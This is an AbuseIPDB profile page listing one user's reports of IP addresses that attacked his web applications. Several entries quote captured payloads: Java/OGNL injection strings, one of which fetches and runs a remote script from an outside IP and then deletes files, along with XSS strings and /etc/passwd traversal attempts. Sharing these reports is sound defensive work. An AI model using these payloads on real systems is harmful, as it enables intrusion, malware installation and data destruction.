AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User Dimitar Dzhongov joined AbuseIPDB in August 2022 and has reported 40 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇺🇸 2a03:90c0:515::42	17 May 2023	A JAVA crafted attacking request on one of our web apps	Web App Attack
🇿🇦 163.197.217.187	16 May 2023	Java Attack attempted multiple times	Web App Attack
🇬🇧 2a05:dfc7:40b0::1	04 Apr 2023	Java exploits such as "aaaaaaaa\\u0027 {class.forname(\\u0027javax.script.scriptenginemanager\\u0027 ... show more Java exploits such as "aaaaaaaa\\u0027 {class.forname(\\u0027javax.script.scriptenginemanager\\u0027).newinstance().getenginebyname(\\u0027javascript\\u0027).\\u0065val(\\u0027var iswin = java.lang.system.getproperty(\\u0022os.name\\u0022).tolowercase().contains(\\u0022win\\u0022);" show less	Web App Attack
🇺🇸 23.147.226.152	20 Mar 2023	Php web app attacks	Web App Attack
🇨🇳 58.49.74.66	20 Mar 2023	LFI attacks such as (../etc/passwd)	Web App Attack
🇺🇸 206.233.131.20	01 Mar 2023	Various Java exploits tried on web apps of ours	Web App Attack
🇿🇦 163.197.46.21	27 Feb 2023	Trying stuff like: "aaaaaaaa\\u0027 {Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027). ... show more Trying stuff like: "aaaaaaaa\\u0027 {Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd /; wget http://185.225.74.55/ljc.sh; curl -O http://185.225.74.55/ljc.sh; chmod 777 ljc.sh; sh ljc.sh; tftp 185.225.74.55 -c get ljc.sh; chmod 777 ljc.sh; sh ljc.sh; tftp -r ljc2.sh -g 185.225.74.55; chmod 777 ljc2.sh; sh ljc2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.225.74.55 ljc1.sh ljc1.sh; sh ljc1.sh; rm -rf ljc.sh ljc.sh ljc2.sh ljc1.sh; rm -rf *\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start();" show less	Web App Attack
🇮🇳 122.177.99.144	24 Feb 2023	Various web app attacks such as ?id=%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e and <scr ... show more Various web app attacks such as ?id=%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e and <script>alert(document.domain)</script> show less	Web App Attack
🇿🇦 163.197.46.21	19 Feb 2023	around 20 various Java exploits tried	Web App Attack
🇧🇬 78.128.113.58	10 Jan 2023	All sort of web attacks	SQL Injection Web App Attack
🇬🇧 185.248.85.24	08 Nov 2022	tried "login.jsp?os_destination=\"><script >alert(String.fromCharCode(88,83,83))</script>"	Web App Attack
🇵🇭 175.176.63.59	08 Nov 2022	Trying =/etc/passwd on our app	Web App Attack
🇩🇪 2001:9e8:4dfd:4900:d31:f9e6:8e77:f0bf	29 Aug 2022	Trying ${Class.forName(\"com.opensymphony.webwork.ServletActionContext\").getMethod(\"getResponse\", ... show more Trying ${Class.forName(\"com.opensymphony.webwork.ServletActionContext\").getMethod(\"getResponse\",null).invok on our web app show less	Web App Attack
🇩🇪 2001:9e8:4ded:1900:b256:cef8:d517:5a2d	23 Aug 2022	Trying "${Class.forName(\"com.opensymphony.webwork.ServletActionContext\").getMethod(\"getResponse\" ... show more Trying "${Class.forName(\"com.opensymphony.webwork.ServletActionContext\").getMethod(\"getResponse\",null).invok" on my web app show less	Web App Attack
🇰🇷 1.209.47.241	18 Aug 2022	Trying /pages/createpage-entervariables.action?spacekey=x on our web app for ages now.	Web App Attack